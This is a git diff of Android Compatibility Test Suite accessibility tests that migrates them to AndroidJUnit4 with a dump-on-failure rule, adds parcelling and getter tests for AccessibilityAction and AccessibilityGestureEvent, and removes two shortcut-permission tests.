diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityActionTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityActionTest.java
new file mode 100644
index 0000000..3edced3
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityActionTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.os.Parcel;
+import android.platform.test.annotations.Presubmit;
+import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Class for testing {@link AccessibilityAction}.
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class AccessibilityActionTest {
+ private static final int ACTION_ID = 0x11100100;
+ private static final String LABEL = "label";
+
+ /**
+ * Tests parcelling of the class.
+ */
+ @Test
+ public void testParcel() {
+ AccessibilityAction systemAction =
+ new AccessibilityAction(ACTION_ID, LABEL);
+
+ final Parcel parcel = Parcel.obtain();
+ systemAction.writeToParcel(parcel, systemAction.describeContents());
+ parcel.setDataPosition(0);
+ AccessibilityAction result =
+ AccessibilityAction.CREATOR.createFromParcel(parcel);
+
+ assertEquals(ACTION_ID, result.getId());
+ assertEquals(LABEL, result.getLabel());
+ }
+
+ /**
+ * Tests constructor of the class.
+ */
+ @Test
+ public void testConstructor() {
+ AccessibilityAction systemAction =
+ new AccessibilityAction(ACTION_ID, LABEL);
+
+ assertEquals(ACTION_ID, systemAction.getId());
+ assertEquals(LABEL, systemAction.getLabel());
+ }
+
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityButtonService.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityButtonService.java
new file mode 100644
index 0000000..3b4b8fd
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityButtonService.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+
+/**
+ * An accessibility service that requests accessibility button.
+ */
+public class AccessibilityButtonService extends InstrumentedAccessibilityService {
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java
index fcc4f6e..d147b83 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java
@@ -22,6 +22,7 @@
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.verify;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
@@ -36,6 +37,7 @@
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -47,10 +49,18 @@
private LinearLayout mParentView;
private View mChildView;
- @Rule
- public ActivityTestRule<DummyActivity> mActivityRule =
+ private ActivityTestRule<DummyActivity> mActivityRule =
new ActivityTestRule<>(DummyActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ // Inner rule capture failure and dump data before finishing activity
+ .around(mDumpOnFailureRule);
+
@Before
public void setUp() throws Exception {
Activity activity = mActivityRule.launchActivity(null);
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index 509092f..b140f37 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -16,27 +16,45 @@
package android.view.accessibility.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.os.Message;
import android.os.Parcel;
import android.platform.test.annotations.Presubmit;
-import android.test.suitebuilder.annotation.SmallTest;
import android.text.TextUtils;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.view.accessibility.AccessibilityRecord;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import junit.framework.TestCase;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Class for testing {@link AccessibilityEvent}.
*/
@Presubmit
-public class AccessibilityEventTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityEventTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
/**
* Tests whether accessibility events are correctly written and
* read from a parcel (version 1).
*/
@SmallTest
+ @Test
public void testMarshaling() throws Exception {
// fully populate the event to marshal
AccessibilityEvent sentEvent = AccessibilityEvent.obtain();
@@ -58,6 +76,7 @@
* Tests if {@link AccessibilityEvent} are properly reused.
*/
@SmallTest
+ @Test
public void testReuse() {
AccessibilityEvent firstEvent = AccessibilityEvent.obtain();
firstEvent.recycle();
@@ -69,6 +88,7 @@
* Tests if {@link AccessibilityEvent} are properly recycled.
*/
@SmallTest
+ @Test
public void testRecycle() {
// obtain and populate an event
AccessibilityEvent populatedEvent = AccessibilityEvent.obtain();
@@ -86,6 +106,7 @@
* Tests whether the event types are correctly converted to strings.
*/
@SmallTest
+ @Test
public void testEventTypeToString() {
assertEquals("TYPE_NOTIFICATION_STATE_CHANGED", AccessibilityEvent.eventTypeToString(
AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED));
@@ -123,6 +144,7 @@
* Tests whether the event describes its contents consistently.
*/
@SmallTest
+ @Test
public void testDescribeContents() {
AccessibilityEvent event = AccessibilityEvent.obtain();
assertSame("Accessibility events always return 0 for this method.", 0,
@@ -137,6 +159,7 @@
* read from a parcel (version 2).
*/
@SmallTest
+ @Test
public void testMarshaling2() {
AccessibilityEvent marshaledEvent = AccessibilityEvent.obtain();
fullyPopulateAccessibilityEvent(marshaledEvent);
@@ -155,6 +178,7 @@
* can't change the object by changing the objects backing CharSequence
*/
@SmallTest
+ @Test
public void testChangeTextAfterSetting_shouldNotAffectEvent() {
final String originalText = "Cassowary";
final String newText = "Hornbill";
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityGestureEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityGestureEventTest.java
new file mode 100644
index 0000000..abf9be8
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityGestureEventTest.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.view.accessibility.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibilityservice.AccessibilityGestureEvent;
+import android.accessibilityservice.AccessibilityService;
+import android.os.Parcel;
+import android.platform.test.annotations.Presubmit;
+import android.view.Display;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Class for testing {@link android.accessibilityservice.AccessibilityGestureEvent}.
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureEventTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ private static final int SENT_GESTURE = AccessibilityService.GESTURE_SWIPE_DOWN;
+ private static final int TARGET_DISPLAY = Display.DEFAULT_DISPLAY;
+
+ @SmallTest
+ @Test
+ public void testMarshaling() {
+
+ // Fully populate the gesture info to marshal.
+ AccessibilityGestureEvent sentGestureEvent = new AccessibilityGestureEvent(
+ SENT_GESTURE, TARGET_DISPLAY);
+
+ // Marshal and unmarshal the gesture info.
+ Parcel parcel = Parcel.obtain();
+ sentGestureEvent.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ AccessibilityGestureEvent receivedGestureEvent =
+ AccessibilityGestureEvent.CREATOR.createFromParcel(parcel);
+
+ // Make sure all fields properly marshaled.
+ assertEqualsGestureEvent(sentGestureEvent, receivedGestureEvent);
+
+ parcel.recycle();
+ }
+
+ /**
+ * Tests whether the value of Getter method is as same as the parameter of the constructor.
+ *
+ */
+ @SmallTest
+ @Test
+ public void testGetterMethods() {
+ AccessibilityGestureEvent actualGesture = new AccessibilityGestureEvent(SENT_GESTURE,
+ TARGET_DISPLAY);
+
+ assertEquals("getGestureId is different from parameter of constructor", SENT_GESTURE,
+ actualGesture.getGestureId());
+ assertEquals("getDisplayId is different from parameter of constructor", TARGET_DISPLAY,
+ actualGesture.getDisplayId());
+ }
+
+ /**
+ * Tests whether the gesture describes its contents consistently.
+ */
+ @SmallTest
+ @Test
+ public void testDescribeContents() {
+ AccessibilityGestureEvent event1 = new AccessibilityGestureEvent(SENT_GESTURE,TARGET_DISPLAY);
+ assertSame("accessibility gesture infos always return 0 for this method.", 0,
+ event1.describeContents());
+ AccessibilityGestureEvent event2 = new AccessibilityGestureEvent(
+ AccessibilityService.GESTURE_SWIPE_LEFT, TARGET_DISPLAY);
+ assertSame("accessibility gesture infos always return 0 for this method.", 0,
+ event2.describeContents());
+ }
+
+ private void assertEqualsGestureEvent(AccessibilityGestureEvent sentGestureEvent,
+ AccessibilityGestureEvent receivedGestureEvent) {
+ assertEquals("getDisplayId has incorrectValue", sentGestureEvent.getDisplayId(),
+ receivedGestureEvent.getDisplayId());
+ assertEquals("getGestureId has incorrectValue", sentGestureEvent.getGestureId(),
+ receivedGestureEvent.getGestureId());
+ }
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index a681baf..f1eab6c 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -17,10 +17,6 @@
package android.view.accessibility.cts;
import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
-import static android.view.accessibility.cts.ServiceControlUtils.getEnabledServices;
-import static android.view.accessibility.cts.ServiceControlUtils.waitForConditionWithServiceStateChange;
-
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -28,7 +24,9 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Instrumentation;
import android.app.Service;
@@ -36,9 +34,6 @@
import android.content.Context;
import android.content.pm.ServiceInfo;
import android.os.Handler;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.text.TextUtils;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityManager.AccessibilityStateChangeListener;
@@ -50,9 +45,10 @@
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
-import org.junit.After;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.io.IOException;
@@ -65,6 +61,30 @@
@RunWith(AndroidJUnit4.class)
public class AccessibilityManagerTest {
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ private InstrumentedAccessibilityServiceTestRule<SpeakingAccessibilityService>
+ mSpeakingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ SpeakingAccessibilityService.class, false);
+
+ private InstrumentedAccessibilityServiceTestRule<VibratingAccessibilityService>
+ mVibratingAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ VibratingAccessibilityService.class, false);
+
+ private InstrumentedAccessibilityServiceTestRule<SpeakingAndVibratingAccessibilityService>
+ mSpeakingAndVibratingAccessibilityServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(
+ SpeakingAndVibratingAccessibilityService.class, false);
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mSpeakingAndVibratingAccessibilityServiceRule)
+ .around(mVibratingAccessibilityServiceRule)
+ .around(mSpeakingAccessibilityServiceRule)
+ // Inner rule capture failure and dump data before finishing activity and a11y service
+ .around(mDumpOnFailureRule);
+
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
@@ -97,12 +117,7 @@
mHandler = new Handler(mTargetContext.getMainLooper());
// In case the test runner started a UiAutomation, destroy it to start with a clean slate.
sInstrumentation.getUiAutomation().destroy();
- InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
- }
-
- @After
- public void tearDown() throws Exception {
- InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+ InstrumentedAccessibilityService.disableAllServices();
}
@Test
@@ -127,8 +142,8 @@
@Test
public void testIsTouchExplorationEnabled() throws Exception {
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
new PollingCheck() {
@Override
protected boolean check() {
@@ -163,8 +178,8 @@
@Test
public void testGetEnabledAccessibilityServiceList() throws Exception {
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
List<AccessibilityServiceInfo> enabledServices =
mAccessibilityManager.getEnabledAccessibilityServiceList(
AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
@@ -189,8 +204,8 @@
@Test
public void testGetEnabledAccessibilityServiceListForType() throws Exception {
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
List<AccessibilityServiceInfo> enabledServices =
mAccessibilityManager.getEnabledAccessibilityServiceList(
AccessibilityServiceInfo.FEEDBACK_SPOKEN);
@@ -209,10 +224,10 @@
@Test
public void testGetEnabledAccessibilityServiceListForTypes() throws Exception {
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
// For this test, also enable a service with multiple feedback types
- SpeakingAndVibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAndVibratingAccessibilityServiceRule.enableService();
List<AccessibilityServiceInfo> enabledServices =
mAccessibilityManager.getEnabledAccessibilityServiceList(
@@ -272,8 +287,8 @@
public void testInterrupt() throws Exception {
// The APIs are heavily tested in the android.accessibilityservice package.
// This just makes sure the call does not throw an exception.
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
waitForAccessibilityEnabled();
mAccessibilityManager.interrupt();
}
@@ -282,8 +297,8 @@
public void testSendAccessibilityEvent() throws Exception {
// The APIs are heavily tested in the android.accessibilityservice package.
// This just makes sure the call does not throw an exception.
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
waitForAccessibilityEnabled();
mAccessibilityManager.sendAccessibilityEvent(AccessibilityEvent.obtain(
AccessibilityEvent.TYPE_VIEW_CLICKED));
@@ -301,13 +316,13 @@
}
};
mAccessibilityManager.addTouchExplorationStateChangeListener(listener);
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
"Touch exploration state listener not called when services enabled");
assertTrue("Listener told that touch exploration is enabled, but manager says disabled",
mAccessibilityManager.isTouchExplorationEnabled());
- InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+ InstrumentedAccessibilityService.disableAllServices();
assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
"Touch exploration state listener not called when services disabled");
assertFalse("Listener told that touch exploration is disabled, but manager says it enabled",
@@ -327,13 +342,13 @@
}
};
mAccessibilityManager.addTouchExplorationStateChangeListener(listener, mHandler);
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
"Touch exploration state listener not called when services enabled");
assertTrue("Listener told that touch exploration is enabled, but manager says disabled",
mAccessibilityManager.isTouchExplorationEnabled());
- InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+ InstrumentedAccessibilityService.disableAllServices();
assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
"Touch exploration state listener not called when services disabled");
assertFalse("Listener told that touch exploration is disabled, but manager says it enabled",
@@ -353,12 +368,12 @@
}
};
mAccessibilityManager.addAccessibilityStateChangeListener(listener);
- SpeakingAndVibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAndVibratingAccessibilityServiceRule.enableService();
assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
"Accessibility state listener not called when services enabled");
assertTrue("Listener told that accessibility is enabled, but manager says disabled",
mAccessibilityManager.isEnabled());
- InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+ InstrumentedAccessibilityService.disableAllServices();
assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
"Accessibility state listener not called when services disabled");
assertFalse("Listener told that accessibility is disabled, but manager says enabled",
@@ -378,12 +393,12 @@
}
};
mAccessibilityManager.addAccessibilityStateChangeListener(listener, mHandler);
- SpeakingAndVibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAndVibratingAccessibilityServiceRule.enableService();
assertAtomicBooleanBecomes(atomicBoolean, true, waitObject,
"Accessibility state listener not called when services enabled");
assertTrue("Listener told that accessibility is enabled, but manager says disabled",
mAccessibilityManager.isEnabled());
- InstrumentedAccessibilityService.disableAllServices(sInstrumentation);
+ InstrumentedAccessibilityService.disableAllServices();
assertAtomicBooleanBecomes(atomicBoolean, false, waitObject,
"Accessibility state listener not called when services disabled");
assertFalse("Listener told that accessibility is disabled, but manager says enabled",
@@ -393,8 +408,8 @@
@Test
public void testGetRecommendedTimeoutMillis() throws Exception {
- SpeakingAccessibilityService.enableSelf(sInstrumentation);
- VibratingAccessibilityService.enableSelf(sInstrumentation);
+ mSpeakingAccessibilityServiceRule.enableService();
+ mVibratingAccessibilityServiceRule.enableService();
waitForAccessibilityEnabled();
UiAutomation automan = sInstrumentation.getUiAutomation(
UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
@@ -422,64 +437,6 @@
}
}
- @AppModeFull
- @Test
- public void performShortcut_withoutPermission_fails() {
- UiAutomation uiAutomation = sInstrumentation.getUiAutomation(
- UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
-
- String originalShortcut = configureShortcut(
- uiAutomation, SpeakingAccessibilityService.COMPONENT_NAME.flattenToString());
- try {
- mAccessibilityManager.performAccessibilityShortcut();
- fail("No security exception thrown when performing shortcut without permission");
- } catch (SecurityException e) {
- // Expected
- } finally {
- configureShortcut(uiAutomation, originalShortcut);
- uiAutomation.destroy();
- }
- assertTrue(TextUtils.isEmpty(getEnabledServices(mTargetContext.getContentResolver())));
- }
-
- @AppModeFull
- @Test
- public void performShortcut_withPermission_succeeds() {
- UiAutomation uiAutomation = sInstrumentation.getUiAutomation(
- UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
-
- String originalShortcut = configureShortcut(
- uiAutomation, SpeakingAccessibilityService.COMPONENT_NAME.flattenToString());
- try {
- runWithShellPermissionIdentity(uiAutomation,
- () -> mAccessibilityManager.performAccessibilityShortcut());
- // Make sure the service starts up
- final SpeakingAccessibilityService service =
- SpeakingAccessibilityService.getInstanceForClass(
- SpeakingAccessibilityService.class, TIMEOUT_SERVICE_ENABLE);
- assertTrue("Speaking accessibility service starts up", service != null);
- } finally {
- configureShortcut(uiAutomation, originalShortcut);
- uiAutomation.destroy();
- }
- }
-
- private String configureShortcut(UiAutomation uiAutomation, String shortcutService) {
- String currentService = Settings.Secure.getString(mTargetContext.getContentResolver(),
- Settings.Secure.ACCESSIBILITY_SHORTCUT_TARGET_SERVICE);
- putSecureSetting(uiAutomation, Settings.Secure.ACCESSIBILITY_SHORTCUT_TARGET_SERVICE,
- shortcutService);
- if (shortcutService != null) {
- runWithShellPermissionIdentity(uiAutomation, () ->
- waitForConditionWithServiceStateChange(mTargetContext, () -> TextUtils.equals(
- mAccessibilityManager.getAccessibilityShortcutService(),
- shortcutService),
- TIMEOUT_SERVICE_ENABLE,
- "accessibility shortcut set to test service"));
- }
- return currentService;
- }
-
private void assertAtomicBooleanBecomes(AtomicBoolean atomicBoolean,
boolean expectedValue, Object waitObject, String message)
throws Exception {
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
index 0923a92..c48d402 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
@@ -16,15 +16,26 @@
package android.view.accessibility.cts;
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.graphics.Bitmap;
import android.graphics.Rect;
import android.graphics.Region;
import android.os.Bundle;
import android.os.Parcel;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
import android.text.InputType;
+import android.text.Spannable;
+import android.text.SpannableString;
import android.text.TextUtils;
+import android.text.style.ImageSpan;
import android.util.ArrayMap;
import android.view.View;
import android.view.accessibility.AccessibilityEvent;
@@ -35,6 +46,13 @@
import android.view.accessibility.AccessibilityNodeInfo.RangeInfo;
import android.view.accessibility.AccessibilityNodeInfo.TouchDelegateInfo;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -43,9 +61,15 @@
* Class for testing {@link AccessibilityNodeInfo}.
*/
@Presubmit
-public class AccessibilityNodeInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityNodeInfoTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
@SmallTest
+ @Test
public void testMarshaling() throws Exception {
// fully populate the node info to marshal
AccessibilityNodeInfo sentInfo = AccessibilityNodeInfo.obtain(new View(getContext()));
@@ -67,6 +91,7 @@
* Tests if {@link AccessibilityNodeInfo}s are properly reused.
*/
@SmallTest
+ @Test
public void testReuse() {
AccessibilityEvent firstInfo = AccessibilityEvent.obtain();
firstInfo.recycle();
@@ -78,6 +103,7 @@
* Tests if {@link AccessibilityNodeInfo} are properly recycled.
*/
@SmallTest
+ @Test
public void testRecycle() {
// obtain and populate an node info
AccessibilityNodeInfo populatedInfo = AccessibilityNodeInfo.obtain();
@@ -95,6 +121,7 @@
* Tests whether the event describes its contents consistently.
*/
@SmallTest
+ @Test
public void testDescribeContents() {
AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
assertSame("Accessibility node infos always return 0 for this method.", 0,
@@ -108,6 +135,7 @@
* Tests whether accessibility actions are properly added.
*/
@SmallTest
+ @Test
public void testAddActions() {
List<AccessibilityAction> customActions = new ArrayList<AccessibilityAction>();
customActions.add(new AccessibilityAction(AccessibilityNodeInfo.ACTION_FOCUS, "Foo"));
@@ -133,6 +161,7 @@
* Tests whether we catch addition of an action with invalid id.
*/
@SmallTest
+ @Test
public void testCreateInvalidActionId() {
try {
new AccessibilityAction(3, null);
@@ -145,6 +174,7 @@
* Tests whether accessibility actions are properly removed.
*/
@SmallTest
+ @Test
public void testRemoveActions() {
AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
@@ -173,6 +203,7 @@
* can't change the object by changing the objects backing CharSequence
*/
@SmallTest
+ @Test
public void testChangeTextAfterSetting_shouldNotAffectInfo() {
final String originalText = "Cassowaries";
final String newText = "Hornbill";
@@ -181,6 +212,7 @@
info.setText(updatingString);
info.setError(updatingString);
info.setContentDescription(updatingString);
+ info.setStateDescription(updatingString);
updatingString.delete(0, updatingString.length());
updatingString.append(newText);
@@ -188,9 +220,31 @@
assertTrue(TextUtils.equals(originalText, info.getText()));
assertTrue(TextUtils.equals(originalText, info.getError()));
assertTrue(TextUtils.equals(originalText, info.getContentDescription()));
+ assertTrue(TextUtils.equals(originalText, info.getStateDescription()));
}
@SmallTest
+ @Test
+ public void testSetTextWithImageSpan_shouldTextSetToInfo() {
+ final Bitmap bitmap = Bitmap.createBitmap(/* width= */10, /* height= */10,
+ Bitmap.Config.ARGB_8888);
+ final ImageSpan imageSpan = new ImageSpan(getContext(), bitmap);
+ final String testString = "test string";
+ final String replacementString = " ";
+ final SpannableString textWithImageSpan = new SpannableString(testString);
+ final int indexIconStart = testString.indexOf(replacementString);
+ final int indexIconEnd = indexIconStart + replacementString.length();
+ textWithImageSpan.setSpan(imageSpan, /* start= */indexIconStart,/* end= */indexIconEnd,
+ /* flags= */Spannable.SPAN_EXCLUSIVE_EXCLUSIVE);
+
+ AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+ info.setText(textWithImageSpan);
+
+ assertEquals(testString, info.getText().toString());
+ }
+
+ @SmallTest
+ @Test
public void testIsHeadingTakesOldApiIntoAccount() {
final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
assertFalse(info.isHeading());
@@ -213,6 +267,7 @@
info.setBoundsInScreen(new Rect(2,2,2,2));
info.setClassName("foo.bar.baz.Class");
info.setContentDescription("content description");
+ info.setStateDescription("state description");
info.setTooltipText("tooltip");
info.setPackageName("foo.bar.baz");
info.setText("text");
@@ -346,6 +401,8 @@
receivedInfo.getClassName());
assertEquals("contentDescription has incorrect value", expectedInfo.getContentDescription(),
receivedInfo.getContentDescription());
+ assertEquals("stateDescription has incorrect value", expectedInfo.getStateDescription(),
+ receivedInfo.getStateDescription());
assertEquals("tooltip text has incorrect value", expectedInfo.getTooltipText(),
receivedInfo.getTooltipText());
assertEquals("packageName has incorrect value", expectedInfo.getPackageName(),
@@ -399,11 +456,11 @@
(receivedRange != null));
if (expectedRange != null) {
assertEquals("RangeInfo#getCurrent has incorrect value", expectedRange.getCurrent(),
- receivedRange.getCurrent());
+ receivedRange.getCurrent(), 0.0);
assertEquals("RangeInfo#getMin has incorrect value", expectedRange.getMin(),
- receivedRange.getMin());
+ receivedRange.getMin(), 0.0);
assertEquals("RangeInfo#getMax has incorrect value", expectedRange.getMax(),
- receivedRange.getMax());
+ receivedRange.getMax(), 0.0);
assertEquals("RangeInfo#getType has incorrect value", expectedRange.getType(),
receivedRange.getType());
}
@@ -528,6 +585,7 @@
